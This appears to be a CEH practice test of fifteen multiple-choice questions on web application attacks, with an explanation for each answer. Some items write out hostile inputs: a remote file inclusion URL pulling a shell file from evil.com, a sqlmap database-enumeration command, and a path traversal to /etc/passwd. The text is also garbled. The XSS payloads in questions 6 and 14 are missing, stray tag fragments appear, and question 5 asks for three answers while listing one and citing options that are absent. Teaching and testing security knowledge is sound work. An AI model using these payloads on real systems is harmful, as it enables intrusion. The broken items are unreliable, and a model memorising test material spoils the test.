CEH Web Application and Injection Attacks Practice Test 10 — 15 Questions

Question 1

Which of the following describes a Server-Side Request Forgery (SSRF) attack?

Accepted Answer

An attacker forces the web server to make HTTP requests to arbitrary destinations, potentially accessing internal resources.. SSRF occurs when an attacker manipulates a server-side application into making HTTP requests to attacker-chosen destinations. Because the request originates from the server, it can reach internal-only resources (metadata endpoints, internal APIs, databases) that the attacker cannot access directly.

Answer

An attacker tricks a user into clicking a link that executes unwanted actions on a web application where the user is authenticated.

Answer

An attacker injects malicious scripts into a web page that executes in other users' browsers.

Answer

An attacker manipulates input to execute system commands on the server.

Question 2

A web application tester uses the following Burp Suite feature to automatically send multiple requests with different payloads to test for common vulnerabilities. Which feature is being used?

Accepted Answer

Intruder. Burp Intruder is designed to automate sending large numbers of requests with varying payloads, making it the tool for fuzzing, brute force, and injection testing. It lets testers define payload positions and payload sets, then iterates through them automatically. This matches the scenario of sending multiple requests with different payloads to test for vulnerabilities.

Answer

Repeater

Answer

Proxy

Answer

Scanner

Question 3

An attacker exploits a vulnerable parameter in a web application by submitting the following payload: http://target.com/page.php?file=http://evil.com/shell.txt. The server returns the contents of the remote file. This is an example of which type of attack?

Accepted Answer

Remote File Inclusion (RFI). The payload includes a URL to a remote file (http://evil.com/shell.txt) that the server fetches and executes or returns. This is characteristic of Remote File Inclusion (RFI), where an attacker includes a file from an external server. The server returning the contents indicates the remote file was included.

Answer

Directory traversal

Answer

Local File Inclusion (LFI)

Answer

Command injection

Question 4

A security analyst discovers that a web application's search box reflects user input without proper sanitization. However, the attacker must trick a victim into clicking a crafted link containing the malicious script. This vulnerability is classified as which type?

Accepted Answer

Reflected XSS. Reflected XSS requires user interaction (clicking a link) to execute the script in the victim's browser. The payload is not stored on the server, distinguishing it from stored XSS. DOM-based XSS does not involve server reflection.

Answer

Blind XSS

Answer

Stored XSS

Answer

DOM-based XSS

Question 5

Which THREE of the following are effective mitigation techniques against Cross-Site Scripting (XSS) attacks?

Accepted Answer

Output encoding. Input validation ensures malicious characters are rejected. Output encoding converts special characters to safe HTML entities. Content Security Policy (CSP) restricts script sources. Disabling JavaScript is not practical. Using HTTPS protects data in transit but not against XSS.

Answer

Disabling JavaScript in the client browser

Answer

Using HTTPS for all communications

Question 6

An analyst reviews a web server log and sees the following request: GET /search?q= HTTP/1.1. The response from the server includes the search term inside a

tag without any sanitization. Which type of XSS vulnerability does this indicate?

Accepted Answer

Reflected XSS. The payload appears in the URL query string and is immediately echoed back in the response inside a

without sanitization. This is the classic signature of reflected XSS: the malicious script is not stored on the server but is reflected from the request to the response, executing in the victim's browser when they click a crafted link. The single request/response cycle in the log confirms it is not stored.

Answer

Stored XSS

Answer

DOM-based XSS

Answer

Blind XSS

Question 7

A penetration tester uses SQLMap with the following command: sqlmap -u 'http://target.com/page?id=1' --batch --dbs. Which of the following best describes what this command will do?

Accepted Answer

Enumerate all database names in non-interactive mode. --dbs enumerates database names; --batch uses default options without interactive input.

Answer

Dump the entire contents of the current database

Answer

Perform a time-based blind SQL injection to extract data

Answer

Enumerate all tables in all databases

Question 8

An attacker attempts to exploit a web application by sending a request that triggers the server to make an internal HTTP request to a sensitive internal service. Which type of attack is this?

Accepted Answer

SSRF. SSRF (Server-Side Request Forgery) occurs when an attacker can induce the server to make requests to internal resources.

Answer

CSRF

Answer

XXE

Answer

IDOR

Question 9

A security analyst notices that a web application uses sequential numeric IDs for user accounts (e.g., /profile?id=1001). By changing the ID to 1002, the analyst can view another user's profile. Which vulnerability is present?

Accepted Answer

IDOR. This is an IDOR (Insecure Direct Object Reference) vulnerability, where direct access to objects is not properly restricted.

Answer

SQL injection

Answer

Directory traversal

Answer

CSRF

Question 10

An analyst reviews the following HTTP response: HTTP/1.1 200 OK Set-Cookie: sessionid=abc123; SameSite=None; Secure ...

Welcome back!

. What possible vulnerability exists if the application does not use CSRF tokens?

Accepted Answer

Cross-site request forgery (CSRF). SameSite=None allows cross-site requests to include cookies, making CSRF possible if no CSRF tokens are used. SameSite=Lax or Strict would block some CSRF attacks.

Answer

Clickjacking

Answer

Cross-site scripting (XSS)

Answer

Session fixation

Question 11

Which of the following is the most effective defense against SQL injection attacks?

Accepted Answer

Parameterized queries. Parameterized queries (prepared statements) ensure user input is treated as data, not executable code, preventing SQL injection.

Answer

Escaping all user input

Answer

Input validation using blacklists

Answer

Stored procedures

Question 12

A security engineer observes that an internal web application uses XML to transmit data between systems. The engineer discovers that by sending a crafted XML payload, they can read sensitive files from the server's filesystem. Which attack is being performed?

Accepted Answer

XXE injection. XXE (XML External Entity) injection allows reading files via external entities in XML.

Answer

SSRF

Answer

Command injection

Answer

XPath injection

Question 13

Which Burp Suite tool is specifically designed to intercept and modify HTTP(S) traffic between the browser and the target web application?

Accepted Answer

Proxy. The Burp Suite Proxy is the core component that sits between the browser and the target web application, acting as a man-in-the-middle to intercept, inspect, and modify HTTP(S) requests and responses in real time. It is specifically designed for this interception and modification task, allowing testers to manually tamper with traffic before it reaches the server or client. Other tools like Intruder, Scanner, and Repeater rely on the Proxy to capture and forward traffic but do not themselves perform the initial interception and modification of live traffic.

Answer

Intruder

Answer

Scanner

Answer

Repeater

Question 14

A web application allows users to submit feedback that is stored in a database and later displayed to administrators. An attacker submits feedback containing . When an admin views the feedback page, the script executes. Which type of XSS is this?

Accepted Answer

Stored XSS. Stored XSS occurs when malicious script is persisted on the server (e.g., in a database, comment field, or log) and later served to other users without proper output encoding. Here, the attacker's <script> payload is saved as feedback and executed when the admin views the page, which is the defining characteristic of stored (persistent) XSS. The payload executes in the admin's browser session, potentially stealing cookies or performing actions as the admin.

Answer

Blind XSS

Answer

Reflected XSS

Answer

DOM-based XSS

Question 15

An attacker uses the following URL pattern to access files: http://example.com/../../etc/passwd. Which attack is being attempted?

Accepted Answer

Directory traversal. The URL pattern http://example.com/../../etc/passwd uses directory traversal (also known as path traversal) to navigate outside the web root and access the /etc/passwd file on a Linux system. The ../ sequences move up the directory tree, attempting to read a sensitive system file. This is a classic directory traversal attack.

Answer

Command injection

Answer

Local file inclusion (LFI)

Answer

Remote file inclusion (RFI)